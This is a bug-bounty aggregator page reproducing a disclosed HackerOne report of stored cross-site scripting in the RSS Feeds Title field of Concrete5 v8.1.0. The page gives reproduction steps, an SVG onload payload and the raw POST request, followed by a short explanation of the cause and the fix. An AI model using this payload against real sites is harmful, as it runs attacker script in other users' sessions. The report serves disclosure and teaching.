Skip to content
XSS Disclosed report Beginner

Stored XSS in RSS Feeds Title (Concrete5 v8.1.0)

The RSS Feeds Title parameter in Concrete5 v8.1.0 does not sanitise user input, allowing HTML and JavaScript to be stored. An attacker could inject a script that executes whenever someone visits the RSS Feeds dashboard page.

cdl Follow

Originally disclosed on HackerOne

  • Triaged in 4 hours
  • Fixed in 30 hours
  • Disclosed after 31 days

Summary / Description: The RSS Feeds Title (pfTitle=) parameter does not correctly sanitize user input. This allows HTML & Javascript to be stored and executed any time someone visits /index.php/dashboard/pages/feeds

Steps to Reproduce

  1. Open up Firefox
  2. Login (/index.php/login)
  3. Visit (index.php/dashboard/pages/feeds/add) to add a new RSS Feed
  4. Put "><svg/onload=confirm(document.domain)> as the title
  5. Put whatever you want in the other fields and click add!

POST REQUEST

POST /index.php/dashboard/pages/feeds/add_feed HTTP/1.1
Host: ec2-34-200-232-193.compute-1.amazonaws.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://ec2-34-200-232-193.compute-1.amazonaws.com/index.php/dashboard/pages/feeds/add
Cookie: CONCRETE5=qgl7qbdhh6le0jph3f07uo6eu0; CONCRETE5_LOGIN=1; dashboardPanelStatus=closed
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 351

ccm_token=1492345382%3A9f0e473b3d4455fe197861e0fa77d671&pfTitle=%22%3E%3Csvg%2Fonload%3Dconfirm%28document.domain%29%3E&pfHandle=cdl&pfDescription=cdl&iconFID=0&cParentID=0&ptID=0&customTopicAttributeKeyHandle=&customTopicTreeNodeID=0&pfIncludeAllDescendents=0&pfDisplayAliases=0&pfDisplayFeaturedOnly=0&pfContentToDisplay=S&pfAreaHandleToDisplay=Main
  1. <svg/onload=confirm(document.domain)> will be executed in your browser!

Anytime someone visits the RSS Feeds page (index.php/dashboard/pages/feeds), the payload will fire!

Product, Version, and Configuration (If applicable)

Concrete5 v8.1.0

Suggested Mitigation/Remediation Actions

Sanitize the pfTitle= parameter :)

Attachments

concrete5-rss-feed.png
concrete5-rss-feed.png From the original on HackerOne
concrete5-rss-feedsxss.png
concrete5-rss-feedsxss.png

The original report as published on HackerOne, by cdl. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application fails to sanitise or encode the RSS feed title before storing and rendering it in the dashboard page.

Impact

An attacker could execute JavaScript in the browser of anyone who visits the RSS Feeds dashboard page.

What the attacker needed

Access to the dashboard; ability to add an RSS feed

The fix

The pfTitle parameter should be sanitised to prevent HTML and JavaScript from being stored and executed.

How it was found

  1. Open Firefox.
  2. Log in to the application.
  3. Go to the page to add a new RSS feed.
  4. Enter a crafted SVG payload as the feed title.
  5. Fill in the other fields and submit the form.
  6. Observe the script executing in the browser.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This is a stored cross-site scripting (XSS) bug. A user who can add an RSS feed can put a small script into the feed's title, and the application saves it without cleaning it up. Later, anyone who opens the RSS feeds page in the dashboard runs that script in their browser.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by cdl

View all

14 more disclosed reports, best first.

More from Concrete CMS

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.